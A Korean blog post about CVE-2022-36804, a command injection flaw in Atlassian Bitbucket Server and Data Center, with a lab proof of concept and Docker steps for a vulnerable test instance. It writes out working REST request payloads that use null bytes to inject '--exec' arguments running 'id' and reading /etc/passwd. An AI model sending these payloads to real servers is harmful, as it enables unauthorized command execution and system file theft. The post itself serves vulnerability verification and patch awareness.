CVE-2022-36804

rebugger·2022년 9월 22일
2

취약점

목록 보기
1/1
post-thumbnail

🦊 CVE-2022-36804

Confluence Atlassian Bitbucket server & Datacenter 에서 Command injection 취약점이 발견되었고 이 취약점을 확인해야하는 사람들을 위해 빠르게 검증할 수 있는 방법을 제시하고자 작성하였습니다.

Summary

다수의 API 엔드포인트의 입력 값에 대한 검증이 미흡하게 설계되어 (아래 2가지 권한을 가진 경우) HTTP 통신 간 요청 값을 조작하여 시스템 내부에 명령어 실행 및 자원 획득이 가능합니다.

  • Public repository
  • with read permissions to a private Bitbuckt repository
    (비인증 접근은 불가능:세션 검증 프로세스가 있음)

Affected Versions

  • Bitbucket Server & Data center 7.10.17 이후 릴리스 된 모든 버전
  • Bitbucket Sever & Data center 7.0.0 ~ 8.3.0 버전 취약성 영향

Fixed Versions

(자세한 내용 링크 참조)


💻 공격 시연

설명

Multiple API Endpoint HTTP 요청 시 추가인수에 Null byte(%00)를 추가하여 명령어를 실행시킬 수 있습니다.

아래 #환경구성 내용을 통해 테스트 환경 구축이 가능합니다.

테스트 시 Attackerkb cve-2022-36804 내용을 기반으로 검증하고 싶었으나,
관련 테스트 환경 구성 시 많은 리소스가 필요해 내용 참고 후 간단하게 검증하였습니다.

검증단계

1) Bitbucket repository 에서 test_repo 페이지 접근 (Proxy 설정)

2) Burp Suite 에서 인터셉트 된 패킷을 Repeter 로 복사

3) %00을 삽입한 HTTP 요청 만들기

1. 패킷에 복사한 test_repo 의 경로 
/projects/TEST/repos/test_repo

2. Bitbucket rest api 경로
/rest/api/latest/

3. 추가 인수에 %00 삽입한 공격문 작성
/archive?filename=&at=test&path=&prefix=rebugger%00--exec=%60id%60%00--remote=origin

4. 조합 
/[bitbucket rest api 경로]/[복사한 repository 경로]/[추가인수]

5. 응용
* id 확인(--exec=%id%60%00--remote=origin)
/rest/api/latest/projects/TEST/repos/test_repo/archive?filename=&at=test&path=&prefix=rebugger%00--exec=%60id%60%00--remote=origin

* /etc/passwd 확인(--exec=%60cat%20%2fetc%2fpasswd%60%00--remote=origin)
/rest/api/latest/projects/TEST/repos/test_repo/archive?filename=&at=test&path=&prefix=rebugger%00--exec=%60cat%20%2fetc%2fpasswd%60%00--remote=origin

4) 패킷 요청(id 확인)

5) 패킷 요청(/etc/passwd 확인)


🛠 환경구성

Docker를 이용한 Bitbucket 환경 구성하기

Docker hub(bitbucket-server)

취약한 환경구성

  1. bitbucket 취약한 버전 이미지 다운로드(작성자는 7.6.15 다운)
//취약한 버전 다운로드
> docker pull atlassian/bitbucket-server:[취약한 버전 Tag]
  1. Docker images 취약한 이미지 다운로드 확인
> docker ps
REPOSITORY                   TAG       IMAGE ID       CREATED      SIZE
atlassian/bitbucket-server   7.6.15    25ba3a0ea04b   4 days ago   1.12GB
atlassian/bitbucket-server   latest    75e0cbeb1ca6   4 days ago   1.49GB
kalilinux/kali-rolling       latest    5eb4e474175c   7 days ago   121MB
  1. Container 실행
//컨테이너와 Local 간 데이터 저장 공간 생성
> docker volume create --name pocvolume

//취약한 버전의 이미지로 컨테이너 실행
> docker run -v pocvolume:/var/atassian/application-data/bitbucket --name bitbucket -d -p 7990:7990 -p 7999:7999 atlassian/bitbucket-server:[취약한 버전 tag]
  1. 확인
    http://localhost:7990 에 접근이 된 경우 컨테이너가 정상적으로 작동된 것으로 판단

  2. 추가 구성
    가입을 통해 임시 라이센스 발급받고 계정을 생성한 후 Project 와 repository를 생성하면 기본적인 테스트 환경은 구성이 완료된다.

😕 결론

최근 Atlasian Confluence 관련 취약점이 많이 발견되는 것 같다.
사용하고 있는 소프트웨어, 라이브러리 등 자원들의 버전 관리를 통해 CVE 취약점이 발표되는 경우 신속하게 버전 체크부터 도커 컨테이너를 통한 빠른 PoC 까지 확인하면 좋을 듯

참고
https://attackerkb.com/topics/iJIxJ6JUow/cve-2022-36804/rapid7-analysis?utm_source=rapid7-blog&utm_medium=referral&utm_campaign=etr-atlassian-bitbucket
https://jira.atlassian.com/browse/BSERV-13438
https://hub.docker.com/r/atlassian/bitbucket-server
https://www.youtube.com/watch?v=txB7vs_7GQY
https://github.com/notdls/CVE-2022-36804/blob/main/exploit.py

profile
모르는게 많고, 부족함이 많다는 것을 인정하기

0개의 댓글